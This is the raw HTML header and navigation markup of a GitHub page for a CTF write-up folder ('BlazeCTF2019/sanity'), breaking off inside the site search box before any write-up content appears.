<meta name="octolytics-dimension-user_id" content="41856372" /><meta name="octolytics-dimension-user_login" content="0n3m4ns4rmy" /><meta name="octolytics-dimension-repository_id" content="142745576" /><meta name="octolytics-dimension-repository_nwo" content="0n3m4ns4rmy/ctf-write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="142745576" /><meta name="octolytics-dimension-repository_network_root_nwo" content="0n3m4ns4rmy/ctf-write-ups" />
<link rel="canonical" href="https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/BlazeCTF2019/sanity" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="142745576" data-scoped-search-url="/0n3m4ns4rmy/ctf-write-ups/search" data-owner-scoped-search-url="/users/0n3m4ns4rmy/search" data-unscoped-search-url="/search" data-turbo="false" action="/0n3m4ns4rmy/ctf-write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="8rczCmr9SL8WmcgiQhMnbmyrKofpk5S/RYV+1z263GE2ZTktIutkO4Fbnwvs1zEvZ17QNmpWZvopDdRX9y73TQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 